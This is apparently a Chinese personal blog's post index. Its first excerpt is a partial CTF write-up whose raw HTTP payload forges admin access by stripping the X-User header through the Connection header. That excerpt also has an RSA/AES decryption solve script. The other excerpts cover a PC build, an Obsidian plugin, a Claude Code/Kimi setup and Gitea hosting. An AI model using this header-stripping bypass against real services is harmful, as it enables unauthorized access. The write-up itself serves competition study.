强网杯 2025-Writeup(部分)

SecretVault 审计源代码,发现对 X-User 请求头的提取有逻辑问题,只需要传空头即可伪造成 admin 身份,获取 flag: Payload: GET /dashboard HTTP/1.1 Host: 47.93.103.116:39040 Connection: close,X-User Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJBdXRob3JpemVyIiwic3ViIjoiMSIsImV4cCI6MTc2MDc1ODkwNywibmJmIjoxNzYwNzU1MzA3LCJpYXQiOjE3NjA3NTUzMDcsInVpZCI6IjEifQ.SVosiGo7VXuKuRN-YkQO9EWUt_WAmG7jMAbCRPHfHMs Personal Vault 使用 Lovelymem 工具加载镜像后,直接搜索 flag{ 字符串即可获得 flag: Check-little Claude Code 自行审计生成解密脚本: from Crypto.Util.number import * from Crypto.Util.Padding import unpad from Crypto.Cipher import AES import gmpy2 N = 18795243691459931102679430418438577487182868999316355192329142792373332586982081116157618183340526639820832594356060100434223256500692328397325525717520080923556460823312550686675855168462443732972471029248411895298194999914208659844399140111591879226279321744653193556611846787451047972910648795242491084639500678558330667893360111323258122486680221135246164012614985963764584815966847653119900209852482555918436454431153882157632072409074334094233788430465032930223125694295658614266389920401471772802803071627375280742728932143483927710162457745102593163282789292008750587642545379046283071314559771249725541879213 c = 10533300439600777643268954021939765793377776034841545127500272060105769355397400380934565940944293911825384343828681859639313880125620499839918040578655561456321389174383085564588456624238888480505180939435564595727140532113029361282409382333574306251485795629774577583957179093609859781367901165327940565735323086825447814974110726030148323680609961403138324646232852291416574755593047121480956947869087939071823527722768175903469966103381291413103667682997447846635505884329254225027757330301667560501132286709888787328511645949099996122044170859558132933579900575094757359623257652088436229324185557055090878651740 iv = b'\x91\x16\x04\xb9\xf0RJ\xdd\xf7}\x8cW\xe7n\x81\x8d' ciphertext = bytes.fromhex('bf87027bc63e69d3096365703a6d47b559e0364b1605092b6473ecde6babeff2') p = gmpy2.gcd(c, N) if 1 < p < N: q = N // p e = 3 phi = (p - 1) * (q - 1) d = pow(e, -1, phi) key = pow(c, d, N) aes_key = long_to_bytes(key)[:16] try: cipher = AES.new(key=aes_key, iv=iv, mode=AES.MODE_CBC) plaintext = cipher.decrypt(ciphertext) flag = unpad(plaintext, 16).decode() print(flag) except Exception as e: print(f"[-] AES 解密失败: {e}") The_Interrogation_Room Claude Code 自行审计生成解题脚本: ...

2025.10.19 01:20:32 · 6 分钟 · yv1ing

点亮人生第一机

还在上大三的时候,就一直想装一台 itx 主机来玩,但是当时每个月的生活费有限,实在拿不出闲钱来购买硬件。现在开始工作之后,终于可以实现当时没能实现的愿望了。 为自己的第一台 itx 购置的硬件如下: 处理器: 英特尔至强 E5 2673 v3 内存: 镁光 DDR3 服务器内存 32g x 2 显卡: 蓝宝石 RX 580 8g 主板: 九尾狐 X99 硬盘: 京东京造 m.2 256g + 光威 sata 512g 电源: 鑫动力 1U 全模组 500W 散热: ALLA 五铜管下压式 机箱: 小朱雀白色 当真的组装完成点亮的那一刻,心情真的是无比舒畅的。也许这份装机配置并不是最完美的,但却是对自己最有意义的。

2025.09.13 06:40:16 · 1 分钟 · yv1ing

Obsidian TOS 插件开发

最近打算把笔记还有博客的图床迁移到火山云上,之前写的 Obsidian COS 插件就没办法继续使用了,也不想再安装 PicGo 之类的东西。奈何没有合适的插件,只好在之前的插件基础上,更换到了 TOS 的 SDK 版本,并做了一些改动。 主要功能 粘贴图片直接自动上传到对象存储中,省去了在本地安装 PicGo 等软件的步骤; 删除图片时同步删除对象存储中的文件,避免废弃的图片遗留在云端,造成不必要的开销; 一键删除当前文档中的所有图片,避免删除文档时还要手动逐张删除; 插件预览 插件简介 插件配置 代码开源在 yv1ing/obsidian-tos-picbed,如需使用,直接下载 release 中的文件,移动到 .obsidian/plugins 目录下,并在 Obsidian 中启用即可。

2025.08.31 12:32:32 · 1 分钟 · yv1ing

当一回赛博奴隶主

挑选黑奴 不得不感叹 AI 技术的演进速度,在开发上,短短几个月就从之前的对话式编程演变到现在的 Solo 式开发,只需要输入需求,各种 Agents 架构就会自我协调,完成从需求分析到代码实现甚至功能测试的全流程任务。 这两个月各种各样的 AI IDE 层出不穷,但体验下来还是 claude code 对于项目的深度理解更符合我日常开发的需求。 套上铁链 Claude code 官方的订阅价格实在太贵,幸好月之暗面新发的 kimi k2 兼容了anthropic 的 api 格式,并且 token 计费也相当便宜。所以直接使用 kimi k2 作为黑奴的铁链。 配置方法如下: 注册月之暗面的开放平台账号后,从后台获取 API Key: https://platform.moonshot.cn/console 从我的 GitHub 下载配置文件: https://github.com/yv1ing/claude-slave 在 .claude/settings.json 中填入 API 信息: { "env": { "ANTHROPIC_BASE_URL": "https://xxxx", "ANTHROPIC_API_KEY": "sk-xxxxxxxxxx" } } 把 .claude 目录和 .claude.json 文件一起放到家目录下即可。 鞭策干活 按上述步骤配置好后,即可鞭策黑奴为自己编写代码: 注入灵魂 为了让黑奴干活干得更加好,可以在 .claude/CLAUDE.md 输入所需的配置,把黑奴打造得更加符合自己所需,例如: ## Response Language **除非有特殊说明,请用中文回答。** (Unless otherwise specified, please respond in Chinese.)

2025.08.27 01:34:22 · 1 分钟 · yv1ing

自建 Git 服务的坑

需求背景 最近在开发公司的项目时,因为不想使用公司的 SVN 服务进行版本管理,涉密的代码又无法放到 Github 等公开平台进行托管,正好手上有一台小主机,就想着在上面部署一个私有的 Git 服务,折腾了好一会,最终得到如下方案。 Gitea 安装 Gitea 是一个轻量级的 DevOps 平台软件,采用 Go 作为后端语言,非常轻量。安装也非常简单,直接使用 Docker 即可。 docker-compose.yaml version: "3" services: server: image: gitea/gitea:1.24 container_name: gitea environment: - USER_UID=1000 - USER_GID=1000 restart: always volumes: - ./data:/data - /etc/timezone:/etc/timezone:ro - /etc/localtime:/etc/localtime:ro ports: - "3000:3000" - "2222:22" 或者直接使用命令启动: docker run -itd -p 3000:3000 -p 2222:22 -e USER_UID=1000 -e USER_GID=1000 -v /app/gitea:/data --name gitea gitea/gitea:1.24 启动之后正常安装,设置管理员信息即可。 SSH 认证问题 我在内网搭建 gitea 时,即使配置了 ssh 公钥,但因为 gitea 容器的 ssh 端口被映射到了 2222 端口,所以在配置远程仓库时,无法直接使用默认端口,在 scp 地址中又无法直接指定端口为 2222,所以在尝试 push 时会一直提示输入密码。 ...

2025.08.27 11:55:12 · 1 分钟 · yv1ing